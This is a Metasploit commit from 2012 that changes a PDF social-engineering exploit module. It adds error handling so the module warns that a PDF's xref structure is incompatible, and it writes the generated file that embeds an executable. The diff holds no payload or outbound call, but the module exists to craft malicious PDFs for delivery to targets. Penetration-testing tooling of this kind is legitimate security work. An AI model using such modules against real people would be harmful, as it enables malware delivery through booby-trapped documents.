Make it clear the exploit doesn't like certain PDF formats

If the exploit cannot fetch certain xref fields, we warn the user
we don't like their PDF, and recommend them to try a different
one.
unstable
sinn3r 2012-06-26 16:32:10 -05:00
parent 807142e988
commit 9ea6d84a7a
1 changed files with 7 additions and 3 deletions

View File

@ -79,10 +79,14 @@ class Metasploit3 < Msf::Exploit::Remote
startxrefs = pdf_objects[2]
root_obj = pdf_objects[3]
begin
output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(output)
rescue KeyError => e
print_error("Incompatible PDF structure: #{e.message}. Please try a different PDF.")
end
end